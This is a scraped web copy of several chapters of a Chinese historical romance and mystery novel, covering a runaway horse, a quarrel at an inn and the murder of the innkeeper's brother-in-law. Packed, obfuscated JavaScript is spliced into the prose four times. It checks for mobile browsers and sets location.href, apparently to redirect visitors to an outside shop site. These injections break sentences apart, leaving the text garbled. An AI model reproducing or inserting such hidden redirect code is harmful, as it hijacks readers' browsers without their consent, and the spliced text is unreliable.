;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085420|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在后门门口。 容朗问道:“我们往哪边走?” “不是说去南边那个集市么?” “我们不先去送信?” 李希言不太在意地摆摆手:“按照规矩,那边应该有地方送信。” 聚集了那么多的南诏人的地方,怎么可能不设立几个据点。 二人正准备离开,背后忽然传来一个流里流气的粗噶声音。 “哟~二位是往哪里去啊?” 李希言揉了揉耳心。 哪里来的鸭子成精? 容朗也听出了这声音的来源是谁,心下很是不悦,但是又不屑和这种人多言。 他一把拉起李希言的手。 “姐姐,我们走。” “诶诶!” 那男子很是不要脸,直接绕过去堵住了二人的去路。 “二位是外地人吧?可是要往南边集市去?我常去的。在下罗耀,可以带二位去转转。” 李希言这才知道罗夫人这个混账弟弟长什么模样。 生得倒是人模狗样的。 就是那一双乱瞟的眼珠子让人有一种想要给他活活剜下来的冲动。 已经色迷心窍的罗耀哪里知道对面的人的想法。 只满脑子想着这女子不仅身材高挑,还长得这么带劲儿,和他平日里见的女子完全不同。 容朗的目光一点点冷了下去,下垂的眼微微眯起,一下就没有平日里的温和模样。 “哪里来的脏狗,堵在路中间朝着人叫唤。” 明明对方就穿了一身粗糙的青布衣裳,罗耀却陡然生出自己矮了一头的感觉。 可一见旁边的李希言,他又硬起腰杆。 “小郎君莫要太自傲,这儿可是泸州,知不知道……” 不等他说完,李希言就直接给了他一脚。 她虽然刚刚病愈,但是力气没有比平时少上半分。 罗耀直接被踢得飞出去好几步,蜷缩在地上哎哎地叫着。 李希言站在原地欣赏了片刻,心满意足地点点头。 “走吧。” 集市相当热闹。 到处挤满了人不说,就连街道两边的各种杂耍戏法就足够人看得眼花缭乱。 李希言合了合眼。 这儿的南诏人多,穿的衣裳也色彩鲜艳,让她有些眼花。 “先往前走吧。” 二人往前走了许久,李希言才停下脚步。 她向右一转,望着路边的一个香料铺子。 “就是这里了。” 容朗看着铺子的牌匾,上写着闻香铺三个大字,字旁边刻着几朵花。 很普通啊。 “你怎么知道是这里的?” “六朵六片花瓣的杏花。” 容朗定睛一看,还真是如此。 杏花本是五片花瓣,要不是特意去看,根本发现不了。 “万一是巧合?” 李希言没有回答,直接走了进去。 铺子的老板站在柜台前,一见李希言眼神就幽深了几分。 “客人是要来买什么香料?” 店里没有其他人在。 李希言敲了三下柜台的台面。将袖子里的令牌亮了亮。 “可有什么特色香料,我要买些带回京城给胡郎君。” “有的有的!鄙人这就去给您拿,昨个儿刚来的香料。”老板看了一眼四周,随手摸起一包香料,低声道,“关校尉往周边都发了消息,急着找您呢。” 李希言把信夹在银子里递给他。 “好东西,我先拿走了。” 她转头对着容朗说道:“我们先回来福客栈吧?等明日再来买东西,我有些累了。” 容朗了然:“回去后,我们把天字一号房包下来?现在住的房间不太舒服。” “好啊。” 老板点点头:“二位慢走!” 57. 集市 当晚,李希言就收到了关风和等人的来信。 彼时,她还在屋内和容朗下棋。 窗户忽然一响。 她起身走向窗边,窗户边上正插着一小把飞刀,飞刀的尾端卷着纸。 没有避开容朗,李希言拆下纸条就坐了回去,大大方方地和他一起看。 “回信来得这样快,可见关校尉他们肯定是急得狠了。”容朗将棋盘挪开,往她身边靠了靠。 纸条的大小有限,内容写得很简洁。 开头就是三个字“望平安。”接着才写了其他。 “刺客皆死,死状同苏州所遇,暂无头绪。都督言,与苏州漕帮有关。吾等皆安好。” “苏州漕帮,刺客……”李希言将纸条扔在脚边的火盆里,“其实那晚确实很奇怪。” “你是指船工?” “是。那晚从头至尾我都没有看见一个船工。” “那些船工……” “不会有问题的。他们都是绣衣司的产业中的人,每一个都经过挑选。而且若是那些人有问题,关姐一定会提起。” “应该是他们对船工动了什么手脚。” “最开始并没有血腥味,人没有死,等过几日他们到了问问那些船工就知道了。” 容朗也没有什么头绪,只能应道:“也是,那晚确实诡异。”他话锋一转,“这几日你就好好歇歇吧。” “不了。这几日我准备出门逛逛。” 容朗有些惊讶。 “李少使不把自己关在屋里看书了?” “那个集市有很多南诏人,我想去探一探。” 还是为了公事。 容朗有一种“果然如此”的感觉。 接下来的几日,二人都在集市里乱逛。 已过午时,二人随意找了家路边摊坐下,一人点了一碗面就算是吃过了。 放下筷子。 李希言看了一眼坐在对面的容朗。 挡光…… “你吃一碗面就够了吗?” “够了啊。”容朗喝了一口手边的面汤,“姐姐,你觉得叙永这边怎么样?” “挺不错的。”李希言表情柔和了几分,“这里本在乌蒙山山区中,进出不便,土地也不多,而且还各族混居临近边境。按理说,不会太富裕。但是这几日下来,我看叙永的百姓还算是衣食丰足,日子安定,民风也淳朴。可见本地县令算是个能官。” 容朗很喜欢这座被云雾缭绕着的小城。 “论起‘安定’二字,这里比京城好上许多。京城说是天子脚下,却还是常有人在大街上纵马闹事。” “天子脚下,豪贵云集,自然少不了那些爱闹事的二世祖。叙永地方小,反而没那么多大门大户。” 容朗掩着嘴,小声说道:“那些人比我还嚣张呢~” 李希言这才想起。 面前这人虽然总是传出“爱享乐”的名声,但是还真没和那群老犯事的人搅在一起过。 也因此,自己这个也管京城治安的绣衣使从来未见过他的模样。 “所以,我原来从未见过李娘子。”容朗开了个玩笑。 “是吗?那你第一次见我怎么立刻就认出了我呢?” 容朗眼睛一下就红了。 “两年前。两年前远远见过一次。” 这个时间点有些敏感。 饶是李希言都觉得有些尴尬。 “就是可惜。”容朗明明是在笑着,眼里的失落却怎么都遮不住,“晚了一点。” “不晚不晚!好饭不怕晚!” 旁边一声突兀的话语让心思各异的二人都愣了一下。 李希言生平第一次有这样窘迫的感觉。 她忍不住循声而望。 是附近一个酒楼门口,站着一个年轻郎君,油头粉面的公子哥儿,正和一群狐朋狗友闹着。 一群十五六岁的小郎君,正是闹腾的时候,叽叽喳喳的吵个不停,互相攀比着。 “你看我这个马!这毛色,这是我阿爹托人从西域带回来的,说是什么波斯马!” 那马匹确实长得很是漂亮。 体型高大,毛色发亮,头颈高昂。 李希言揉了揉有些发涨的太阳穴。 忽然觉得瑞王还算安静…… “傻小子。” 容朗也笑道:“定是他父亲知道自己儿子的性子不稳当,故意哄他的。反正这个小地方又有几个人分得清波斯马和龟兹马呢?这些小孩子才多大年纪,哪里能驾驭得了性子烈的波斯马,还是龟兹马性子温和更适合他们。” “令兄很小的时候就能降服烈马了。”李希言脸上不由带了些崇拜的意思。 容朗酸言酸语:“是啊,哥哥不像我,从小身体不好,十二岁才敢上马。” 他的话让自己想到了之前的传言,李希言顿觉失言。 “也就是说你学骑马没几年?那也是骑得很不错了,之前办事也没见你落在我身后过。” 特别好哄的容朗嘴里的酸味一下没了,嘴巴也跟抹了蜜似的,伸出一根食指晃了晃。 “李娘子这话太过誉了,我原来可听哥哥说过,你在马术上才是这个。” 身旁的街道上,或是朋友玩闹嬉戏,或是未婚男女情意绵绵,或是父母子女尽享天伦…… 喧闹声也变得悦耳起来。 在这样的氛围中,人自觉会卸掉伪装。 “令兄所言非虚。”李希言微微昂着头。 容朗怔了一下。 炫耀自己的长处时,她总会昂着头,小时候扎起的小辫都会跟着她的动作一翘一翘,只是那个时候她总是咧着嘴笑,不像现在这样习惯性地板着脸。 怎样都是她,都是那样可爱。 世事沧桑,会重新琢磨一切,没有任何人是不会变的,即使没有当年阴差阳错的别离,她也会变,自己也会变。 所幸,命运有情,怜他孤苦。 “咳!”李希言敲了一下桌面,揶揄道,“你不想买单也没必要装愣吧?” “啊?”容朗这才回过神。 面前的桌子已经被打扫得一干二净,吃剩的碗筷也已经被老板收拾走了。 李希言捏了捏发烫的耳垂。 “此时正是生意好的时候,我们再坐在这里,就挡着老板生意了。” 容朗转过头。 正忙着收钱的老板对他挤眉弄眼的。 “没事儿啊,不急不急。别人小哥儿看心上人看呆了多正常啊。” 容朗脑子嗡得一下响了,整个人如同煮熟的虾一样红。 怎么……怎么……这么直接啊…… “你还好意思说别人。”隔壁的食客明显是老板的熟人,揭起老底儿来毫不手软,“你年轻的时候在河边偷看你婆娘,还落到河里了呢!” 另外一个食客连忙附和:“还是我大哥救你起来的!” 老板好不脸红,一边煮着面,一边回嘴:“好看嘞!” 李希言借着空子,几乎是逃似的离开了面摊。 容朗也猫着腰跟上。 一路上,二人沉默了许多。 像是玻璃隔断被打碎后的沉寂。 直到一声马匹的嘶鸣才打破了二人之间的尴尬。 原本人来人往的街道忽然乱作一团。 在前方不远处,一匹骏马前脚腾空,拼命地甩动着身体。 马上的人拽着马绳大声尖叫,明显是已经失了理智。 四周的人已经躲开。 “小心!”容朗忽然大喊一声。 只见刚刚还空白一片的空地上突然趴着一个小姑娘。 眼见着马匹的蹄子就要踏下去。 容朗一下冲了出去,抱起小孩就地一滚躲了开来。 马匹前蹄着地,骑马的人立即跳了下来。 李希言却心中一跳。 马匹前蹄刨着地,烦躁地甩着头。 不好!是要继续发狂的征兆。 她立即上前,跃上马匹,扯住缰绳。 果然,就在她刚刚握住缰绳的时刻,马匹又开始疯狂的乱蹬。 李希言稳住身体,拽着一根缰绳控制着马匹。 马匹鼻子向扯得后倾斜,逐渐停止了动作。 她这才放下心,安抚着马。 “没事吧。”容朗抱着女孩站在马旁边,一脸关切。 “没事。”李希言从容下了马,牵住马的缰绳。 “好骑术!” 刚刚被吓得魂不附体的百姓抚掌叫好。 “好英气的娘子!” …… 李希言环顾四周:“马主人呢?” 这时,一个油头粉面的年轻郎君才低着头走了过来。 正是刚刚那个在酒楼门口炫耀马的小郎君。 “对不住,马是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093599|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的,我……我也不知道怎么回事,这马就发了狂。” “脾气再好的马也有发狂的时候,街上不能骑马是各地都有的规矩。”李希言脸色一沉,又恢复了几分绣衣使的模样,让人心生畏惧,“你应该知道。” “我……我……”那男子看了一眼缩在容朗怀里被吓得小脸煞白的小姑娘,一脸愧疚,“我赔钱可以吗?我真的不是故意的,我……” 李希言忍住气,对着人群问道:“孩子的父母呢?” 众人面面相觑。 片刻后,一对一脸急切的夫妇才从人群中钻了出来。 “我们是孩子的父母!” 李希言打量了他们一眼。 很普通的农人模样。 男的高壮女的敦实,脸上是真实的着急。 夫妇俩对着二人不住地道谢。 容朗抚慰着孩子:“小姑娘,你爹娘来了,别怕啊,和你爹娘回家去吧,啊?” 小姑娘搂着容朗的脖子不放手,怯怯地看了自己父母一眼,低低叫了一声:“爹,娘。” 那妇人连忙擦了泪,伸手想要去抱她:“诶!二丫头来,娘抱你回家去。” 小姑娘却忽然犯了轴,把头埋在容朗怀里,任凭妇人怎么说都当做没听见。 孩子的父亲吼道:“你这孩子!怎么不听你娘的话!” 李希言上前一步,隔在中间,摸着孩子幼小的脊背,对着夫妇二人面露怒色。 “孩子才多大,肯定是被吓着了,你一个大人急躁什么。” 绣衣司的李少使一冷脸,半朝官员都得颤颤心肝,更何况这对普通的夫妇。 “这么大的孩子,平日里走路都该是牵着不放,今日在人来人往的你们自己也不注意,就不怕遇见拐子吗!现在倒是来朝着孩子发气耍威风了?” 孩子的父亲被骂得低头不语,还是妇人大着胆子上前:“我家这个性子急,没有其他的意思。”她拍打了一下身边的夫君,又继续哄着孩子,“二丫头,乖啊,娘带你去吃糖葫芦好不好?” 小姑娘的手逐渐松动。 察觉到孩子的情绪,容朗失笑,掂了掂她。 “再不跟你娘回去,就没有糖葫芦啰?” 小姑娘一下急了,不可置信地看着他。 容朗继续道:“真的哦。” 几岁的孩子哪里懂大人的“险恶”,立即跳了下去。 看这孩子快要摔下来,李希言急忙去接:“慢些。” 小姑娘长得很可爱,脸圆圆的,红红的,一双眼睛笑起来像是月牙儿。 她朝着二人道谢,声音清脆:“谢谢大哥哥大姐姐救我。” “乖孩子。”容朗抚了抚她的头,“胆子真大,真厉害。” 小姑娘仰着小脑袋,很是享受这样的夸赞。 夫妇二人抱着孩子又道了谢才准备离开。 “等等。”李希言忽然出声喊住二人。 夫妇二人一脸迷茫。 李希言指着站在不远处的年轻郎君,动了动手指。 “你,过来。” 那年轻郎君拴好马,走了过来,深深行了一礼:“是小子不慎,差点让令千金受伤。”他掏出自己的钱袋子和玉佩,双手呈上,“请二位务必收下,聊表歉意。” 他态度这样好。 夫妇二人似乎是因为玉佩名贵,不敢去接。 还是李希言伸手拿起钱袋子塞给他们:“玉佩免了,这钱拿去给孩子用着,本就是该你们的。” 惹事的年轻郎君也急忙附和:“是是是,请二位收下。不然小子心中难安。” 夫妇二人你看看我我看看你,犹豫了一番才收下了银子,说了几句客套话才转身离去。 人走后,李希言忍不住多说了一句:“这样温顺的马都骑不好就别出来丢人惹事了。” 年轻郎君倒是晓得自己惹了大祸,连连点头听训。 “姐姐教训的是,是小子轻狂了。” 叫谁姐姐呢! 容朗不乐意了,他捂住胸口,轻轻痛呼一声。 “呃。” “怎么了?”李希言见他这样,心都提了起来。 难道是刚刚被伤到了哪里? “胸口有些疼。”容朗无力道,“或许是刚刚受伤了。姐姐,我们先回客栈好不好?” 李希言被他的模样吓到,急忙扶住他。 “走。” 58. 金刀 一回到客栈,李希言就急着要去找大夫。 若真是被马匹踢伤了,那可不是小事。 她幼时的一个邻居就是被马踢伤,外面见不到什么伤,结果内里出血,没几日就死了。 容朗连忙拉住她的袖子。 “不用大夫。” 会露馅…… 李希言按住他的手,起身欲走。 容朗扯着不放。 “真的没事,我没被马踩着,就是刚刚……就是……被硌着了,特别疼。” 为了证明自己所言非虚,他扯开自己的领口,露出胸膛。 “姐姐,真没事,就是疼……” 李希言坐了下来,按了按他结实的腹部。 突来的接触让容朗浑身肌肉都绷紧了。 “有没有胀痛的感觉。” “没有……” 微凉的手指顺着肌肉的纹路向上,整只手轻轻按压在胸口上。 “这里呢?” “没有……” “坐直。” 浑身的热度退了一下。 容朗五味杂陈。 李希言一脸正色,俯下身,在他的胸口敲了几下。 “确实只是外伤。” 她这才松了一口气:“等会儿涂点药就好了。”说完还顺手把衣襟给他掩好。 容朗抓着胸口散乱的衣襟,手都在发抖。 还真油盐不进啊! 看着一旁低着头找药的李希言,他松开手,把衣襟弄得更乱了些。 李希言转过头,对过于放荡的景象视若无睹。 “衣裳再拉开一点。” 要不是对方那正直得过分的眼神,容朗都快要以为他是被讽刺了。 “快点,愣着干嘛?不疼吗?” 她是在关心我! 自我麻痹的容朗心里的失落一扫而空,大大方方地把衣裳敞得大开。 雪白的胸膛上确实有一块淤青。 李希言皱了皱眉,轻轻给他擦上药。 “应该只是普通挫伤,过几日就好了。” “疼……”容朗的声音发着颤。 “娇气。” 李希言收回手,却被一把抓住。 “姐姐,再涂点儿,我怎么觉得没什么效果。” “怎么会?”李希言晃了晃药瓶,“这是我们绣衣司的药。” “可还是疼啊。” “疼过了就好了。”李希言揣好药瓶。 这药可不便宜。 容朗倒在床上,幽幽的哀叹着。 “好疼啊……” 李希言看着他耍赖的样子。 “其实你侄子挺像你的。” “什么!”容朗猛地一下坐了起来,这下是真的牵动了伤处,一股撕裂般的疼痛让他痛呼出声,“嘶……” 看他脸色都白了白,李希言吓了一跳,下意识伸手摸向他的胸口。 “别扯着了……” 容朗就势握住她的手,在自己的胸口按了两下。 “已经扯着伤处了,好疼好疼。” 他低下头,埋在她的颈窝处,像一只撒娇的小狗。 清苦的香气让人沉迷,忍不住磨蹭。 “姐姐……姐姐……再给我揉一揉……就一下……” 滚烫的气息在脖颈处升腾,一股奇异的酥麻让人的舌根都几乎麻痹。 李希言脑子一片空白,任由这他用这种近乎拥抱的姿态让自己上黏上他的气息。 今时今日,似乎如同往时往日。 似乎是某一年的冬至前后。 小和尚发了热,蜡黄的小脸蛋都是红红的。 好心的主持掩护她带了肉粥进去喂给他吃。 吃完后,他还是不舒服,沉默地埋在她的怀里不撒手。 当时,她抱住他,给他拍着背。 禅房外干枯的枝叶被朔风吹得沙沙作响,让人不由自主合上了眼…… “姐姐……” 湿热的亲吻点在眉间的红痣上。 “我好喜欢你。” 沉溺的意识在清晨才复苏。 李希言睁开了眼。 身下是软和的被子,房屋正中间的炭火还微微红着,散发着热气。 她坐起身,窗户缝隙中吹来一股冷风,冻得她一个激灵。 昨日…… 迷蒙的记忆闪现,呼吸吐纳之间,被一双手抹得干干净净。 如同往日一般,起身穿好衣裳,打开窗户透透气。 该去看看容朗。 打开门,走到三楼的走廊上,楼下的一切尽收眼底。 大堂内稀稀拉拉坐着几个人。 角落里坐着几个客人,身边带着几个抱着琵琶奏乐的貌美女子。 大清早的,还真是好兴致。 柜台前坐着冯老板的那个小舅子,大清早的还在喝酒,喝得醉醺醺的。 旁边是那四个京城来的禁军。 这是他们昨日就换了天字号房间的缘由。 整座客栈,天字号房间只有两间,独占三楼一层,平时除了老板和伙计没有人能上来。 之前住的二楼则是地字号房间,就在这四人的楼上,别说进出,就是抬头一望都有可能被发现。 也不知道这四个禁军来这里是做什么的…… “你他娘的瞎了眼了!” 大堂传来一声怒喝。 “喝了点马尿都不知道自己姓什么了?爷这把刀可是陈大将军赏的,你竟然吐上面了!” 李希言看了一眼。 只见冯老板的那个小舅子罗耀被一个禁军扯住领口,脚边一摊秽物,正正好弄脏了其中一个禁军放在桌边的长刀。 那刀的刀柄金光灿灿,还嵌着几颗红艳艳的玛瑙,确实不是凡品。 罗耀一下推开大怒的禁军,摇摇晃晃,大着舌头:“吹……吹牛吧你!呸!还陈将军……” 那禁军本就怒极,此时更是血气上头,直接举起了拳头,眼见那拳头要落到罗耀脸上的时候,其他几个禁军死死拉住了他。 “别拉老子!老子今日要把这个不知死活的东西弄死掉!” “算了算了!出来办事,别闹事,让他把刀擦了就行,你可别惹事。” 人在气头上哪里听得进去劝? 那禁军不依不饶,逐渐另外三人也有些拉不住他。 所幸,冯老板已经听到了动静,着急地从后面跑了过来,挡在二人之间。 “军爷您莫动气莫动气,是鄙人的小舅子喝醉了发酒疯。” 他一边说着一边叫伙计把罗耀拉到后面去。 “还不快把这个酒疯子给我弄去后面,扔到冷水里让他狗脑子清醒清醒!” 罗耀被堵住嘴带到了后面,那禁军怒气稍缓,甩开同僚的手,抱着双臂:“老板准备怎么赔?” 冯老板先是郑重行了一礼,把姿态放得极低。 “污了军爷的宝刀是鄙人的罪过,您要怎样都行,只求您别气坏了身子。” 很多时候,人与人的争执多是意气之争,老板如此退让,那禁军的脸色已经好了不少。 冯老板看了一眼那把刀:“这刀……好生华贵,鄙人见所未见。” 这夸奖说到了禁军的心坎上。 “这可是陈将军赏的,自然不是凡品。” “陈将军?可是那位右金吾卫大将军陈敬?”冯老板一脸赞叹,“难怪难怪,军爷定然是立了大功,才得佩如此宝刀。” 被吹捧的禁军仰起头,颇为自傲。 “也不算是什么大功。” “军爷谦虚了。”冯老板拱着手,“如此一看,鄙人还真无法赔什么能够补偿如此珍贵的宝刀。鄙人人微力薄,不如这段时间军爷的花销都算作赔偿?” 旁边的禁军急忙劝道:“老板这话说得对,你这把刀,就是把他全部家当抵上也赔不了。左不过只是弄脏了,不如就算了?” 那禁军当时生气主要还是因为罗耀的态度嚣张。 如今气顺了,自然万事好说。 最重要的是,反正刀擦擦就干净了,还能吞下这段时间的开销钱。 他的视线一转。 角落里那几个貌美女子正望着他。 虚荣心作祟,他大气摆了摆手。 “那就依你所言吧,让人把我这金刀洗干净就行了。” 冯老板如蒙大赦,急忙应下,嘴里还奉承着:“军爷大气。” 一场小小的闹剧结束,李希言心中颇为老板夫妇不平。 看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“判一个人的罪行容易,但是要根除其背后的罪因很难。移风易俗,即使上头颁下政令都需要很久很久的时间才能做到。在这之前,只能见一个帮一个。”他笑得令人心安,“等我们走之前先帮他们把罗耀收拾了?” 像是幼时过年吃到的第一口红烧肉一样,腹部到胸口都热得发胀。 “好。” 容朗俯下身,歪了歪头。 “那……李少使,你现在可以告诉我,那本手札是做什么的了吗?” “手札?”李希言眼中显出一丝笑意,“可以。” 手札上满是密密麻麻的字迹,全部是关于现行律法的思考。 有些是赞成,但是更多的是补充与反对。 “其实现在的律法是反对私刑的。” 李希言摇头:“律法上写的是徒一年半,但是在实际的宣判中,这种只针对犯人和被害者没有关系的情况,如果是亲生父母私自杀害孩子最多也就是口头教育一番就算是完事,若是宗族私自搞什么‘浸猪笼’这样的暴行更是没人管。” “罚得太轻反而是助长这种风气。” “没错。还有之前锦园的事情……赵回那样的才是多数。这种判罚只针对良籍被□□,若是受害人是贱籍他们基本是不管的。可是,容易遇见这种暴行的人恰恰就是那些被主子买去的奴婢和在风月场所讨生活的人。我们的律法每一条都是这样,不管是杀人也好,还是其他罪行也罢,永远都要分良贱。” “你是想建议哥哥废除贱籍?” “我知道这不可能。”李希言是个很现实的人,“谁家不蓄奴养婢?这件事情无法推行。可是至少应该把他们当做人看待吧?都说杀人偿命杀人偿命,难道那些人是贱籍就不是人了吗?” “这还是有可行度的……”容朗絮絮地给她讲起了京城里世家大族内里的脏事。 李希言记得很认真。 这些世家,即使是绣衣使也不常接触得到其内部的秘密。 容朗说得口干舌燥,喝了一口茶。 “到时候你可以那这些秘密去让他们狗咬狗,然后就可以从中得利……” 二人说得投机,整日都没有出门过一步。 一直到天色渐暗,一道破空声才让李希言回过神。 铮—— 应该是又有人送信来。 她走到窗前,取下飞刀上的信。 “关姐他们要过几日才能赶来。” 还有这样的好事! 容朗清了清嗓子,将手放在嘴边遮住了笑。 “是吗?那真是太令人遗憾了。” 59. 命案 五日后的晚上,李希言收到了关风和一行人的亲笔信。 开头的字体扭曲,像是蚯蚓一样。 容朗眯着眼,念出这一行字:“衣带渐宽终不悔,为伊消得人憔悴?” 李希言扶额:“卫川,肯定是你侄子把他折腾得都瘦了。” 很合理的解释。 第二行字,字体龙飞凤舞。 “卫川发疯,你莫理他?”容朗念着念着,蜀地的口音都带出来了。 “苗青,他就是蜀地人。” 第三行字平平无奇。 “保重身体,给您带了鱼干,三日后见。”还不等李希言开口,容朗率先说道,“是方淳。” 方淳对于鱼有着非一般的痴迷。 第四行字是瑞王写的。 “小叔叔你没死真是太好了,要好好照顾李夫子。”容朗撇嘴,“这什么话呀。” 最底下的字端正大气,与内容的反差极大。 “少使我好想你嘤嘤嘤?我……见到你一定要……亲死你?”容朗拿着信的手直颤,“关……关校尉?” 这下丢人丢到外面去了! 李希言绝望地闭上眼:“难道你以为她很正经?” 一天到晚和卫川呆一块儿的人能很正经? “可这也太不正经了?!”容朗把信纸往桌子上一拍,“就算……就算都是女子……也不能这样啊!” 李希言笑了笑,忽然说道:“明日就可以下楼了。” “什么?” “明早那几个禁军就要走了。” “你怎么知道?” “刚刚听见的。那个拿着金刀的禁军说他们明早卯时初就要走,让老板给他们提前开门。” “那我们明日就可以好好出去透透气了!” 这几日,那几个禁军不知道怎么回事,眼睛到处瞟,弄得二人连楼都不敢下。 “那就早点休息,明早我们好早点出门。” “好!我也不乐意遇见那个罗耀!” 第二日一早。 二人大大方方下了楼,坐在大堂内用着早饭。 今日有些异常,老板娘一个人忙前忙后,完全不见老板的身影。 要知道平日里都是冯老板在柜台忙活的。 容朗放下筷子,主动问道:“怎么今日不见冯老板?” “他呀?”罗夫人无奈一笑,“昨儿晚他跟着孩子玩闹,把腰给抻了,到现在还在屋里躺着呢!这么大的人了,怎么……” 坐在一旁的李希言默默摸出一瓶药放在桌上,朝着罗夫人说道:“家里的秘方,很有用。” 药瓶也是绣衣司特制的,绿色的釉质光滑透亮,一看就知道不是什么便宜东西。 罗夫人急忙推辞:“小伤罢了,哪里用得到这么好的药,您太客气了。” 二人本就感激这些日子夫妇二人的帮助,怎会让她推辞。 李希言直接把药瓶往她手里一塞。 “拿着就是。” 容朗也在一旁帮腔。 “冯老板岁数也不小了,看着伤得不重,还是要好生调养,这药是我们自家制的,要不了几个钱。您要是不收下,倒叫我们心中不安。” 盛情难却。 罗夫人犹豫了一二,捏住药瓶道一声谢:“等我家老三好了,就让他下厨再给二位做一次豆汤面!” “那感情好啊!” 罗夫人得了药,急忙回了后头住的地方。 容朗不由感叹:“他们夫妻感情真不错。” “确实。” 李希言嘴里胡乱应着,心里却已经有了其他的打算。 这夫妻二人是老实本分又肯卖力气干活儿的人,唯一的阻碍就是那个罗耀。 走之前,一定得想个办法把这个罗耀给收拾了。 “想什么呢?”容朗的手在她面前晃了晃。 这个想法也没什么不好说出口的。 她本来就不是什么良善之人。 “我在想什么处理那个罗耀。” 这一点,二人倒是想到一块儿去了。 容朗生在皇家,对于冯老板夫妇这种热心肠的好人最有好感。 昨晚他一晚都没睡好,就是在想这件事。 所幸,他已经想出了办法。 “罗夫人的父母应该还在吧?不如……我们走之前,以不孝之罪把罗耀先弄进去。” “不孝?” 容朗胸有成竹。 “不奉养父母不是不孝?” “确实算,这样还不够。看此人行径,说不定做过什么作奸犯科之事,若是能把这些罪证找出来,让他这辈子都回来不了,更好。” “啊——” 后院传来的一声尖叫打断了二人的谈话。 李希言眉心一跳,一种熟悉的感觉涌上心头。 不会吧? 然而下一刻,尖叫声打破了她带着侥幸的幻想。 “死人了——” 二人像一阵风似的冲进了后院。 “来人啊!” 尖叫声是从右侧传来的。 此时离得近,听得真切,这声音是罗夫人! 难道是…… “夫人,夫人……”还一瘸一拐的冯老板衣衫不整,闯进了二人的视线。 容朗上前扶住他。 李希言则先一步进了东边的房间。 一进门,一大股血腥味冲进鼻腔,混着汗臭味,让人几欲作呕。 床上躺着一具血糊糊的男尸体,向下一看,到处都有不少血迹。 走近再看,尸体正是罗耀。 见到李希言一脸镇定的模样,罗夫人像是看见了救星一般抱住了她的胳膊,满脸都是泪。 “阿弟……阿弟他……” 不是谁都有直面尸体的勇气,更何况还是自己亲人的尸体。 李希言让她背过身去。 “先出去让人报官。” 此时此刻,这样没有起伏的声音反而让人安心。 罗夫人半靠在她的身上走了出去。 门口站着冯老板和容朗。 “夫人,怎么了?”冯老板不顾自己的腰,上前拉住她问道。 罗夫人一见自己的夫君,再也无法控制情绪,恐惧与伤痛齐齐涌出,化成了泪。 她扑在冯老板怀里痛哭。 “死了……死了……阿弟死了。” 冯老板面色一下变得煞白,抱着她的手都松开了。 “你……你说什么?罗耀死了?” 罗夫人抹着泪点头,根本说不出话。 李希言上前一步。 “罗耀的尸体就在里面,快报官吧。” 叙永县的县衙确实很不错,不到半个时辰就呼啦啦来了一堆衙役和当地负责治安捕盗之事的县尉。 县尉是个浓眉大眼的年轻人,看上去不过二十来岁,长得十分清秀。 做事倒是老成。 他一进后院就直奔案发的房间勘探。 李希言借机站在门口窥视其中。 血迹只在床上和床边有,房内的摆设整齐,没有搏斗的痕迹。 等衙门的人勘探完现场后,县才转过头问道:“尸体是谁发现的?” 他虽然没有对着谁说,但是眼神却直直望着李希言,带着试探。 “是罗夫人。”李希言面色如常,“死者罗耀的亲姐姐。” “那你又是谁?”县尉清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120682|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀的脸上浮现一丝敌意。 眼前的人太冷静了,绝对是见过血的人。 “走镖的。遇见水匪,流落贵地,得蒙客栈老板夫妇照顾,在此栖身。” 县尉眯着眼,逼近几步。 “是吗……那你一个客栈的客人怎么会此处?” 李希言微微蹙眉:“今早卯时末,我和家弟在大堂用饭,忽然听见罗夫人大叫死人了,就进来了。” “那你到的时候,是何场景?” “罗夫人吓得靠在柱子上,罗耀和此时没有任何不同,倒在床上。” “你可有上前查看?” “现场血迹已有干的痕迹,还出了这么多血,人肯定是死了。我一个什么都不懂的人要是不小心碰到了什么,岂不是干扰了衙门办案?” 她一番话说得有理有据,面上也没有丝毫的心虚,那县尉才稍稍放下心来。 应该就是个普通的江湖人。 他对着身边的衙役摆摆手。 “死者姐姐和姐夫呢?” 衙役搓了搓手:“属下让人在外面等着呢。死的可是他们的弟弟,哪里好让人就在这边儿呆着?” 县尉点点头,提脚走了出去。 院子里的圆桌边坐着三人,一个是容朗,另外两个是垂泪的罗夫人和面色难看的冯老板。 他看了一眼容朗忽然转过头朝李希言问道:“你弟弟?” “嗯。” “真是贵气啊,和你长得不太像。” “义弟。” 